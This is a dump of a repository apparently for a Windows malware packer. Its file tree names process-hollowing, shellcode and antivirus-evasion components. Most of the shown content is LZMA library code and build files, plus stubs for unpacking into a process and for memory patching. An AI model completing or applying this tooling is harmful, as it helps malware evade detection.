├── RISCYPacker ├── Reflection.cpp ├── RISCYPacker.h ├── lzma │ ├── Util │ │ ├── LzmaLib │ │ │ ├── LzmaLib.def │ │ │ ├── resource.rc │ │ │ ├── LzmaLibExports.c │ │ │ ├── LzmaLib.dsw │ │ │ ├── makefile │ │ │ └── LzmaLib.dsp │ │ ├── 7z │ │ │ ├── Precomp.c │ │ │ ├── Precomp.h │ │ │ ├── 7z.dsw │ │ │ ├── makefile │ │ │ └── makefile.gcc │ │ ├── SfxSetup │ │ │ ├── setup.ico │ │ │ ├── Precomp.c │ │ │ ├── resource.rc │ │ │ ├── Precomp.h │ │ │ ├── SfxSetup.dsw │ │ │ ├── makefile │ │ │ └── makefile_con │ │ └── Lzma │ │ │ ├── makefile │ │ │ ├── LzmaUtil.dsw │ │ │ ├── makefile.gcc │ │ │ └── LzmaUtil.dsp │ ├── Precomp.h │ ├── DllSecur.h │ ├── Sort.h │ ├── Delta.h │ ├── 7zAlloc.h │ ├── Sha256.h │ ├── 7zVersion.h │ ├── 7zBuf.c │ ├── 7zCrc.h │ ├── XzCrc64.h │ ├── RotateDefs.h │ ├── 7zBuf.h │ ├── Alloc.h │ ├── XzEnc.h │ ├── 7zBuf2.c │ ├── Compiler.h │ ├── LzmaLib.c │ ├── Aes.h │ ├── Lzma86Dec.c │ ├── Delta.c │ ├── 7zVersion.rc │ ├── 7zAlloc.c │ ├── 7zFile.h │ ├── LzHash.h │ ├── Lzma2Enc.h │ ├── BraIA64.c │ ├── Bra86.c │ ├── Bra.h │ ├── DllSecur.c │ ├── XzCrc64Opt.c │ ├── Threads.h │ ├── Xz.c │ ├── Ppmd.h │ ├── MtCoder.h │ ├── XzCrc64.c │ ├── Lzma2Dec.h │ ├── LzFindMt.h │ ├── Threads.c │ ├── Lzma86Enc.c │ ├── Sort.c │ ├── LzmaEnc.h │ ├── Lzma86.h │ ├── 7zCrc.c │ ├── Alloc.c │ ├── Bra.c │ ├── Bcj2.h │ ├── 7zCrcOpt.c │ ├── LzFind.h │ ├── Ppmd7.h │ ├── 7zStream.c │ ├── LzmaLib.h │ ├── CpuArch.c │ ├── Ppmd7Enc.c │ ├── AesOpt.c │ ├── Ppmd7Dec.c │ └── 7z.h ├── icon1.ico ├── icon2.ico ├── small.ico ├── RISCYPacker.ico ├── RISCYPacker.rc ├── Unpacker.h ├── stdafx.cpp ├── targetver.h ├── stdafx.h ├── Reflections.h ├── resource.h ├── PEData.h ├── AVStringTable.h ├── Unpacker.cpp ├── RISCYPacker.vcxproj.filters ├── PEData.cpp ├── StringCryptor.h ├── RISCYPacker.cpp ├── Hollower.h └── Shellcode.h ├── RISCYBuilder ├── RISCYBuilder │ ├── ExeModder.cpp │ ├── stdafx.cpp │ ├── targetver.h │ ├── ExeModder.h │ ├── stdafx.h │ ├── Packer.h │ ├── Output.h │ ├── RISCYBuilder.cpp │ ├── PEData.h │ ├── Packer.cpp │ ├── ReadMe.txt │ ├── RISCYBuilder.vcxproj.filters │ └── PEData.cpp └── RISCYBuilder.sln ├── RISCYPacker.sln ├── .gitattributes └── .gitignore /RISCYPacker/Reflection.cpp: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /RISCYPacker/RISCYPacker.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "resource.h" 4 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Util/LzmaLib/LzmaLib.def: -------------------------------------------------------------------------------- 1 | EXPORTS 2 | LzmaCompress 3 | LzmaUncompress 4 | 5 | -------------------------------------------------------------------------------- /RISCYPacker/icon1.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MalwareMechanic/RISCYpacker/HEAD/RISCYPacker/icon1.ico -------------------------------------------------------------------------------- /RISCYPacker/icon2.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MalwareMechanic/RISCYpacker/HEAD/RISCYPacker/icon2.ico -------------------------------------------------------------------------------- /RISCYPacker/small.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MalwareMechanic/RISCYpacker/HEAD/RISCYPacker/small.ico -------------------------------------------------------------------------------- /RISCYPacker/RISCYPacker.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MalwareMechanic/RISCYpacker/HEAD/RISCYPacker/RISCYPacker.ico -------------------------------------------------------------------------------- /RISCYPacker/RISCYPacker.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MalwareMechanic/RISCYpacker/HEAD/RISCYPacker/RISCYPacker.rc -------------------------------------------------------------------------------- /RISCYPacker/lzma/Util/LzmaLib/resource.rc: -------------------------------------------------------------------------------- 1 | #include "../../7zVersion.rc" 2 | 3 | MY_VERSION_INFO_DLL("LZMA library", "LZMA") 4 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Util/7z/Precomp.c: -------------------------------------------------------------------------------- 1 | /* Precomp.c -- StdAfx 2 | 2013-01-21 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Util/SfxSetup/setup.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MalwareMechanic/RISCYpacker/HEAD/RISCYPacker/lzma/Util/SfxSetup/setup.ico -------------------------------------------------------------------------------- /RISCYPacker/lzma/Util/SfxSetup/Precomp.c: -------------------------------------------------------------------------------- 1 | /* Precomp.c -- StdAfx 2 | 2013-01-21 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Util/SfxSetup/resource.rc: -------------------------------------------------------------------------------- 1 | #include "../../7zVersion.rc" 2 | 3 | MY_VERSION_INFO_APP("7z Setup SFX small", "7zS2.sfx") 4 | 5 | 1 ICON "setup.ico" 6 | -------------------------------------------------------------------------------- /RISCYBuilder/RISCYBuilder/ExeModder.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include "ExeModder.h" 3 | 4 | 5 | void ExeModder::WriteToResource(BYTE* data) 6 | { 7 | this->exe; 8 | } 9 | 10 | ExeModder::~ExeModder() 11 | { 12 | } 13 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Precomp.h: -------------------------------------------------------------------------------- 1 | /* Precomp.h -- StdAfx 2 | 2013-11-12 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __7Z_PRECOMP_H 5 | #define __7Z_PRECOMP_H 6 | 7 | #include "Compiler.h" 8 | /* #include "7zTypes.h" */ 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Util/7z/Precomp.h: -------------------------------------------------------------------------------- 1 | /* Precomp.h -- StdAfx 2 | 2013-06-16 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __7Z_PRECOMP_H 5 | #define __7Z_PRECOMP_H 6 | 7 | #include "../../Compiler.h" 8 | #include "../../7zTypes.h" 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Util/SfxSetup/Precomp.h: -------------------------------------------------------------------------------- 1 | /* Precomp.h -- StdAfx 2 | 2013-06-16 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __7Z_PRECOMP_H 5 | #define __7Z_PRECOMP_H 6 | 7 | #include "../../Compiler.h" 8 | #include "../../7zTypes.h" 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /RISCYPacker/Unpacker.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "Hollower.h" 4 | class Unpacker 5 | { 6 | public: 7 | Unpacker(); 8 | bool UnpackIntoProcess(std::wstring procPath); 9 | ~Unpacker(); 10 | private: 11 | IMAGE_DOS_HEADER *exe; 12 | IMAGE_DOS_HEADER *Unpack(); 13 | }; 14 | 15 | -------------------------------------------------------------------------------- /RISCYPacker/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // Viva.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /RISCYBuilder/RISCYBuilder/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // RISCYBuilder.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/DllSecur.h: -------------------------------------------------------------------------------- 1 | /* DllSecur.h -- DLL loading for security 2 | 2016-06-08 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __DLL_SECUR_H 5 | #define __DLL_SECUR_H 6 | 7 | #include "7zTypes.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | #ifdef _WIN32 12 | 13 | void LoadSecurityDlls(); 14 | 15 | #endif 16 | 17 | EXTERN_C_END 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /RISCYPacker/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /RISCYBuilder/RISCYBuilder/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /RISCYBuilder/RISCYBuilder/ExeModder.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include "PEData.h" 5 | 6 | class ExeModder : public PEData 7 | { 8 | public: 9 | ExeModder(IMAGE_DOS_HEADER* exe) : PEData(exe) { 10 | 11 | } 12 | void WriteToResource(BYTE* data); 13 | ~ExeModder(); 14 | private: 15 | IMAGE_DOS_HEADER *exe; 16 | std::string packerPath; 17 | }; 18 | 19 | -------------------------------------------------------------------------------- /RISCYBuilder/RISCYBuilder/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | 10 | #include 11 | #include 12 | 13 | 14 | 15 | // TODO: reference additional headers your program requires here 16 | -------------------------------------------------------------------------------- /RISCYBuilder/RISCYBuilder/Packer.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include "Output.h" 5 | 6 | class Packer 7 | { 8 | public: 9 | Packer(); 10 | BYTE* Pack(IMAGE_DOS_HEADER *exe,size_t fSize); 11 | ~Packer(); 12 | private: 13 | std::vector packedBinary; 14 | std::vector ZLIBcompress(IMAGE_DOS_HEADER *exe, size_t fSize); 15 | void Crypt(); 16 | 17 | }; 18 | 19 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Sort.h: -------------------------------------------------------------------------------- 1 | /* Sort.h -- Sort functions 2 | 2014-04-05 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __7Z_SORT_H 5 | #define __7Z_SORT_H 6 | 7 | #include "7zTypes.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | void HeapSort(UInt32 *p, size_t size); 12 | void HeapSort64(UInt64 *p, size_t size); 13 | 14 | /* void HeapSortRef(UInt32 *p, UInt32 *vals, size_t size); */ 15 | 16 | EXTERN_C_END 17 | 18 | #endif 19 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Util/LzmaLib/LzmaLibExports.c: -------------------------------------------------------------------------------- 1 | /* LzmaLibExports.c -- LZMA library DLL Entry point 2 | 2015-11-08 : Igor Pavlov : Public domain */ 3 | 4 | #include "../../Precomp.h" 5 | 6 | #include 7 | 8 | BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) 9 | { 10 | UNUSED_VAR(hInstance); 11 | UNUSED_VAR(dwReason); 12 | UNUSED_VAR(lpReserved); 13 | return TRUE; 14 | } 15 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Delta.h: -------------------------------------------------------------------------------- 1 | /* Delta.h -- Delta converter 2 | 2013-01-18 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __DELTA_H 5 | #define __DELTA_H 6 | 7 | #include "7zTypes.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | #define DELTA_STATE_SIZE 256 12 | 13 | void Delta_Init(Byte *state); 14 | void Delta_Encode(Byte *state, unsigned delta, Byte *data, SizeT size); 15 | void Delta_Decode(Byte *state, unsigned delta, Byte *data, SizeT size); 16 | 17 | EXTERN_C_END 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /RISCYBuilder/RISCYBuilder/Output.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | #define ERROR_64BIT_IMAGE 0xF0000001 6 | #define ERROR_INVALID_EXE 0xF0000002 7 | #define ERROR_INVALID_ARGUEMENT 0xF0000003 8 | #define ERROR_CANNOT_OPEN_FILE 0xF0000004 9 | #define SUCCESS 0x00000000 10 | 11 | namespace Error { 12 | static void ErrOut(std::wstring err) { std::wcout << err << std::endl; } 13 | static void ErrExit(std::wstring err,int code) { 14 | ErrOut(err); exit(code); 15 | } 16 | }; -------------------------------------------------------------------------------- /RISCYPacker/lzma/7zAlloc.h: -------------------------------------------------------------------------------- 1 | /* 7zAlloc.h -- Allocation functions 2 | 2013-03-25 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __7Z_ALLOC_H 5 | #define __7Z_ALLOC_H 6 | 7 | #include 8 | 9 | #ifdef __cplusplus 10 | extern "C" { 11 | #endif 12 | 13 | void *SzAlloc(void *p, size_t size); 14 | void SzFree(void *p, void *address); 15 | 16 | void *SzAllocTemp(void *p, size_t size); 17 | void SzFreeTemp(void *p, void *address); 18 | 19 | #ifdef __cplusplus 20 | } 21 | #endif 22 | 23 | #endif 24 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Util/Lzma/makefile: -------------------------------------------------------------------------------- 1 | # MY_STATIC_LINK=1 2 | PROG = LZMAc.exe 3 | 4 | CFLAGS = $(CFLAGS) \ 5 | 6 | LIB_OBJS = \ 7 | $O\LzmaUtil.obj \ 8 | 9 | C_OBJS = \ 10 | $O\Alloc.obj \ 11 | $O\LzFind.obj \ 12 | $O\LzFindMt.obj \ 13 | $O\LzmaDec.obj \ 14 | $O\LzmaEnc.obj \ 15 | $O\7zFile.obj \ 16 | $O\7zStream.obj \ 17 | $O\Threads.obj \ 18 | 19 | OBJS = \ 20 | $(LIB_OBJS) \ 21 | $(C_OBJS) \ 22 | 23 | !include "../../../CPP/Build.mak" 24 | 25 | $(LIB_OBJS): $(*B).c 26 | $(COMPL_O2) 27 | $(C_OBJS): ../../$(*B).c 28 | $(COMPL_O2) 29 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Sha256.h: -------------------------------------------------------------------------------- 1 | /* Sha256.h -- SHA-256 Hash 2 | 2013-01-18 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __CRYPTO_SHA256_H 5 | #define __CRYPTO_SHA256_H 6 | 7 | #include "7zTypes.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | #define SHA256_DIGEST_SIZE 32 12 | 13 | typedef struct 14 | { 15 | UInt32 state[8]; 16 | UInt64 count; 17 | Byte buffer[64]; 18 | } CSha256; 19 | 20 | void Sha256_Init(CSha256 *p); 21 | void Sha256_Update(CSha256 *p, const Byte *data, size_t size); 22 | void Sha256_Final(CSha256 *p, Byte *digest); 23 | 24 | EXTERN_C_END 25 | 26 | #endif 27 | -------------------------------------------------------------------------------- /RISCYPacker/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | 10 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers 11 | // Windows Header Files: 12 | #include 13 | 14 | // C RunTime Header Files 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | // TODO: reference additional headers your program requires here 21 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Util/7z/7z.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "7z"=.\7z.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/7zVersion.h: -------------------------------------------------------------------------------- 1 | #define MY_VER_MAJOR 16 2 | #define MY_VER_MINOR 04 3 | #define MY_VER_BUILD 0 4 | #define MY_VERSION_NUMBERS "16.04" 5 | #define MY_VERSION "16.04" 6 | #define MY_DATE "2016-10-04" 7 | #undef MY_COPYRIGHT 8 | #undef MY_VERSION_COPYRIGHT_DATE 9 | #define MY_AUTHOR_NAME "Igor Pavlov" 10 | #define MY_COPYRIGHT_PD "Igor Pavlov : Public domain" 11 | #define MY_COPYRIGHT_CR "Copyright (c) 1999-2016 Igor Pavlov" 12 | 13 | #ifdef USE_COPYRIGHT_CR 14 | #define MY_COPYRIGHT MY_COPYRIGHT_CR 15 | #else 16 | #define MY_COPYRIGHT MY_COPYRIGHT_PD 17 | #endif 18 | 19 | #define MY_VERSION_COPYRIGHT_DATE MY_VERSION " : " MY_COPYRIGHT " : " MY_DATE 20 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Util/Lzma/LzmaUtil.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "LzmaUtil"=.\LzmaUtil.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Util/LzmaLib/LzmaLib.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "LzmaLib"=.\LzmaLib.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Util/SfxSetup/SfxSetup.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "SfxSetup"=.\SfxSetup.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/7zBuf.c: -------------------------------------------------------------------------------- 1 | /* 7zBuf.c -- Byte Buffer 2 | 2013-01-21 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | 6 | #include "7zBuf.h" 7 | 8 | void Buf_Init(CBuf *p) 9 | { 10 | p->data = 0; 11 | p->size = 0; 12 | } 13 | 14 | int Buf_Create(CBuf *p, size_t size, ISzAlloc *alloc) 15 | { 16 | p->size = 0; 17 | if (size == 0) 18 | { 19 | p->data = 0; 20 | return 1; 21 | } 22 | p->data = (Byte *)alloc->Alloc(alloc, size); 23 | if (p->data != 0) 24 | { 25 | p->size = size; 26 | return 1; 27 | } 28 | return 0; 29 | } 30 | 31 | void Buf_Free(CBuf *p, ISzAlloc *alloc) 32 | { 33 | alloc->Free(alloc, p->data); 34 | p->data = 0; 35 | p->size = 0; 36 | } 37 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Util/LzmaLib/makefile: -------------------------------------------------------------------------------- 1 | MY_STATIC_LINK=1 2 | SLIB = sLZMA.lib 3 | PROG = LZMA.dll 4 | SLIBPATH = $O\$(SLIB) 5 | 6 | DEF_FILE = LzmaLib.def 7 | CFLAGS = $(CFLAGS) \ 8 | 9 | LIB_OBJS = \ 10 | $O\LzmaLibExports.obj \ 11 | 12 | C_OBJS = \ 13 | $O\Alloc.obj \ 14 | $O\LzFind.obj \ 15 | $O\LzFindMt.obj \ 16 | $O\LzmaDec.obj \ 17 | $O\LzmaEnc.obj \ 18 | $O\LzmaLib.obj \ 19 | $O\Threads.obj \ 20 | 21 | OBJS = \ 22 | $(LIB_OBJS) \ 23 | $(C_OBJS) \ 24 | $O\resource.res 25 | 26 | !include "../../../CPP/Build.mak" 27 | 28 | $(SLIBPATH): $O $(OBJS) 29 | lib -out:$(SLIBPATH) $(OBJS) $(LIBS) 30 | 31 | $(LIB_OBJS): $(*B).c 32 | $(COMPL_O2) 33 | $(C_OBJS): ../../$(*B).c 34 | $(COMPL_O2) 35 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/7zCrc.h: -------------------------------------------------------------------------------- 1 | /* 7zCrc.h -- CRC32 calculation 2 | 2013-01-18 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __7Z_CRC_H 5 | #define __7Z_CRC_H 6 | 7 | #include "7zTypes.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | extern UInt32 g_CrcTable[]; 12 | 13 | /* Call CrcGenerateTable one time before other CRC functions */ 14 | void MY_FAST_CALL CrcGenerateTable(void); 15 | 16 | #define CRC_INIT_VAL 0xFFFFFFFF 17 | #define CRC_GET_DIGEST(crc) ((crc) ^ CRC_INIT_VAL) 18 | #define CRC_UPDATE_BYTE(crc, b) (g_CrcTable[((crc) ^ (b)) & 0xFF] ^ ((crc) >> 8)) 19 | 20 | UInt32 MY_FAST_CALL CrcUpdate(UInt32 crc, const void *data, size_t size); 21 | UInt32 MY_FAST_CALL CrcCalc(const void *data, size_t size); 22 | 23 | EXTERN_C_END 24 | 25 | #endif 26 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Util/SfxSetup/makefile: -------------------------------------------------------------------------------- 1 | PROG = 7zS2.sfx 2 | 3 | C_OBJS = \ 4 | $O\7zAlloc.obj \ 5 | $O\7zArcIn.obj \ 6 | $O\7zBuf.obj \ 7 | $O\7zBuf2.obj \ 8 | $O\7zCrc.obj \ 9 | $O\7zCrcOpt.obj \ 10 | $O\7zFile.obj \ 11 | $O\7zDec.obj \ 12 | $O\7zStream.obj \ 13 | $O\Bcj2.obj \ 14 | $O\Bra.obj \ 15 | $O\Bra86.obj \ 16 | $O\BraIA64.obj \ 17 | $O\CpuArch.obj \ 18 | $O\Delta.obj \ 19 | $O\DllSecur.obj \ 20 | $O\Lzma2Dec.obj \ 21 | $O\LzmaDec.obj \ 22 | 23 | 7Z_OBJS = \ 24 | $O\SfxSetup.obj \ 25 | 26 | OBJS = \ 27 | $(7Z_OBJS) \ 28 | $(C_OBJS) \ 29 | $O\resource.res 30 | 31 | !include "../../../CPP/Build.mak" 32 | 33 | $(7Z_OBJS): $(*B).c 34 | $(COMPL_O1) 35 | $(C_OBJS): ../../$(*B).c 36 | $(COMPL_O1) 37 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/XzCrc64.h: -------------------------------------------------------------------------------- 1 | /* XzCrc64.h -- CRC64 calculation 2 | 2013-01-18 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __XZ_CRC64_H 5 | #define __XZ_CRC64_H 6 | 7 | #include 8 | 9 | #include "7zTypes.h" 10 | 11 | EXTERN_C_BEGIN 12 | 13 | extern UInt64 g_Crc64Table[]; 14 | 15 | void MY_FAST_CALL Crc64GenerateTable(void); 16 | 17 | #define CRC64_INIT_VAL UINT64_CONST(0xFFFFFFFFFFFFFFFF) 18 | #define CRC64_GET_DIGEST(crc) ((crc) ^ CRC64_INIT_VAL) 19 | #define CRC64_UPDATE_BYTE(crc, b) (g_Crc64Table[((crc) ^ (b)) & 0xFF] ^ ((crc) >> 8)) 20 | 21 | UInt64 MY_FAST_CALL Crc64Update(UInt64 crc, const void *data, size_t size); 22 | UInt64 MY_FAST_CALL Crc64Calc(const void *data, size_t size); 23 | 24 | EXTERN_C_END 25 | 26 | #endif 27 | -------------------------------------------------------------------------------- /RISCYPacker/Reflections.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "stdafx.h" 3 | #include 4 | #define RET_INT3_INT3_INT3 0xCCCCCCC3 5 | 6 | 7 | size_t GetFunctionSize(void* function) 8 | { 9 | size_t size=0; 10 | while (*(DWORD*)(&((BYTE*)function)[size - 4]) != RET_INT3_INT3_INT3) 11 | size++; 12 | return size; 13 | } 14 | 15 | template 16 | void FindReplaceMemory(void* mem, size_t memLength, std::map replacer) 17 | { 18 | void* pos; 19 | for (std::map::iterator it = replacer.begin(); it != replacer.end(); ++it) 20 | { 21 | pos = mem; 22 | while ((int)pos<((int)mem + (int)memLength)) 23 | { 24 | if (*(T*)pos == it->first) { 25 | *(T*)pos = (T)it->second; 26 | break; 27 | } 28 | pos=((BYTE*)pos)+1; 29 | } 30 | } 31 | 32 | } -------------------------------------------------------------------------------- /RISCYPacker/lzma/RotateDefs.h: -------------------------------------------------------------------------------- 1 | /* RotateDefs.h -- Rotate functions 2 | 2015-03-25 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __ROTATE_DEFS_H 5 | #define __ROTATE_DEFS_H 6 | 7 | #ifdef _MSC_VER 8 | 9 | #include 10 | 11 | /* don't use _rotl with MINGW. It can insert slow call to function. */ 12 | 13 | /* #if (_MSC_VER >= 1200) */ 14 | #pragma intrinsic(_rotl) 15 | #pragma intrinsic(_rotr) 16 | /* #endif */ 17 | 18 | #define rotlFixed(x, n) _rotl((x), (n)) 19 | #define rotrFixed(x, n) _rotr((x), (n)) 20 | 21 | #else 22 | 23 | /* new compilers can translate these macros to fast commands. */ 24 | 25 | #define rotlFixed(x, n) (((x) << (n)) | ((x) >> (32 - (n)))) 26 | #define rotrFixed(x, n) (((x) >> (n)) | ((x) << (32 - (n)))) 27 | 28 | #endif 29 | 30 | #endif 31 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/7zBuf.h: -------------------------------------------------------------------------------- 1 | /* 7zBuf.h -- Byte Buffer 2 | 2013-01-18 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __7Z_BUF_H 5 | #define __7Z_BUF_H 6 | 7 | #include "7zTypes.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | typedef struct 12 | { 13 | Byte *data; 14 | size_t size; 15 | } CBuf; 16 | 17 | void Buf_Init(CBuf *p); 18 | int Buf_Create(CBuf *p, size_t size, ISzAlloc *alloc); 19 | void Buf_Free(CBuf *p, ISzAlloc *alloc); 20 | 21 | typedef struct 22 | { 23 | Byte *data; 24 | size_t size; 25 | size_t pos; 26 | } CDynBuf; 27 | 28 | void DynBuf_Construct(CDynBuf *p); 29 | void DynBuf_SeekToBeg(CDynBuf *p); 30 | int DynBuf_Write(CDynBuf *p, const Byte *buf, size_t size, ISzAlloc *alloc); 31 | void DynBuf_Free(CDynBuf *p, ISzAlloc *alloc); 32 | 33 | EXTERN_C_END 34 | 35 | #endif 36 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Util/SfxSetup/makefile_con: -------------------------------------------------------------------------------- 1 | PROG = 7zS2con.sfx 2 | CFLAGS = $(CFLAGS) -D_CONSOLE 3 | 4 | C_OBJS = \ 5 | $O\7zAlloc.obj \ 6 | $O\7zArcIn.obj \ 7 | $O\7zBuf.obj \ 8 | $O\7zBuf2.obj \ 9 | $O\7zCrc.obj \ 10 | $O\7zCrcOpt.obj \ 11 | $O\7zFile.obj \ 12 | $O\7zDec.obj \ 13 | $O\7zStream.obj \ 14 | $O\Bcj2.obj \ 15 | $O\Bra.obj \ 16 | $O\Bra86.obj \ 17 | $O\BraIA64.obj \ 18 | $O\CpuArch.obj \ 19 | $O\Delta.obj \ 20 | $O\DllSecur.obj \ 21 | $O\Lzma2Dec.obj \ 22 | $O\LzmaDec.obj \ 23 | 24 | 7Z_OBJS = \ 25 | $O\SfxSetup.obj \ 26 | 27 | OBJS = \ 28 | $(7Z_OBJS) \ 29 | $(C_OBJS) \ 30 | $O\resource.res 31 | 32 | !include "../../../CPP/Build.mak" 33 | 34 | $(7Z_OBJS): $(*B).c 35 | $(COMPL_O1) 36 | $(C_OBJS): ../../$(*B).c 37 | $(COMPL_O1) 38 | 